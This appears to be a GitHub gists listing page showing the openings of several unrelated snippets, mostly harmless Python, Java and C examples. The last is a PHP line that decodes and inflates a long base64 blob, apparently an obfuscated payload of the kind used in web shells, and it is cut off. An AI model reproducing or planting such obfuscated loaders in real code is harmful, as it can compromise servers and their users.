This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
""" | |
Flatten a list | |
""" | |
def flatten(notflat): | |
flat = [] | |
while notflat: | |
element = notflat.pop() | |
if isinstance(element, list): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.util.*; | |
class Example { | |
public static void main(String[] args) { | |
Queue<String> q = new PriorityQueue<String>(); | |
q.offer("carrot"); | |
q.offer("apple"); | |
q.offer("banana"); | |
for(String fruit: q) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import sys | |
import os | |
# Biopython libraries or nothing | |
try: | |
from Bio import SeqIO | |
except ImportError: | |
sys.exit("Biopython library not found. See http://biopython.org for installation instructions.") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/***************************************************** | |
* Jogo Batalhao * | |
* Arquivo: perspectiva.h * | |
* Descrição: Cuida da perpectiva visual do jogo. * | |
* Se um objeto está atrás de uma árvore, a árvore é * | |
* desenhada depois do objeto. * | |
* por José Maria Silveira Neto * | |
* e Marco Diego Aurelio Mesquita * | |
* * | |
* Este programa esta disponível sob licensa GPL. * |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import csv | |
import sys | |
# check parameters | |
if len(sys.argv) < 2: | |
sys.exit('Usage: %s TREE_FILE ID_FILE' % sys.argv[0]) | |
# initiates the tree |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
""" | |
Problem: merge k sorted lists of size up to n. | |
Solution: two approaches, functions merge_and_sort and merge_many. | |
""" | |
""" | |
A trivial solution, put all lists together and sort it. | |
Time complexity: O(log(nk)) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
counter = 0 | |
def parentheses(symbol='(', depth=0, n=5): | |
global counter | |
counter += 1 | |
if(depth<n*2): | |
parentheses(symbol+'(', depth+1, n) | |
parentheses(symbol+')', depth+1, n) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
((((((((((( | |
(((((((((() | |
((((((((()( | |
((((((((()) | |
(((((((()(( | |
(((((((()() | |
(((((((())( | |
(((((((())) | |
((((((()((( | |
((((((()(() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# Tries to decrypt a Caesar cipher without the key. | |
# Uses brute force and compare the results against the English letter frequency. | |
# Letters in the English alphabet | |
LETTERS = 26 | |
# Frequency per letter in the English alphabet | |
english = { | |
'a': 0.082, 'b': 0.015, 'c': 0.028, 'd': 0.043, 'e': 0.127, 'f': 0.022, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$code = gzinflate(base64_decode("DZVHDqwIAkPv0qv/xQKKjEa9IOec2bTIOaeC00/dwLbs5/JKhz/1207VkB7lnyzdSxz9ryjzuSj//MMlgbDtvlzX3gWt+1qG/NhFS5NsaRUX+qMThmWBpCzmm6ypFASoFQCvfQqtFqlAF9LvHBBgHhYpHgjKhVVdMnICPQk/LTSetpe/w2Fur+PgZseuerkmcZZ0jEKjd0k7WLL6KVefJyPjhztLi7AuHOyNkNDkveRUrVTvKuUAGgSZVHBIQzz5L5+1p6nZc6IF4Z6e8MYNy9VKRXReWIK6/swk6Y5laXNjRuZKqb2ctaFkho83eySK0T361+EiN0Xdy9xnPjHjmqRt+myumN2rdaZej6+eBSSApvmInHbsUNcMCPsp4q/4pC2RRd5IcxGUuDQXj7kF4yuyOVU/+qVvTduEQXjAkTlBlSCgW6cFQu6MilOhXUasWgjDbgDnOSoYq0V1kLyJQdjNigiIM2iAl5DlEgSjJpaIR85mYzKLsWwDj+YFjqyHpKDZ6fY1hd3JRABdfg0Hwe9dhTGQ0rQn2j/2VwUBy3O3dQ4hdfAqkqh6b6NmX/0eZV8Ki4AyginkigpU59BwyB75RFkvm6uJIEBdSaoD1MNeECFyL0C7zCYqBkMfIZmlHZHm6YbD+XddXBWkGtqqTljf3zUEBhbGjWl54cBU12ZFdBlmuk/F4gNuaB6txoNNfRDs7hM9DdK8ctULOqVWeTC/CJczXG30JuOx9hrmo+QQ/llHfq4amTbo1HEgnRWnvaw5bHX2T0K1IogO/ShXgBSCObVqeYqe9/AdPX2Q4fSqLEjt0vO0I40AzJxLE5JasHzdpMEfVWb7FqPWFZ09RsbcxTDdViHnBiYr63cT57oea1X6MRxf38OJV+I4svOStSxLP7Ou5RfqWx33SqtVYkSSLRbIYDWDwr7DJ5rT02M+zUIdOWBVxIJqfsKCmxUIKPi2NX6XWsQwfAdTG85w2A5nmf1ZzVi |
OlderNewer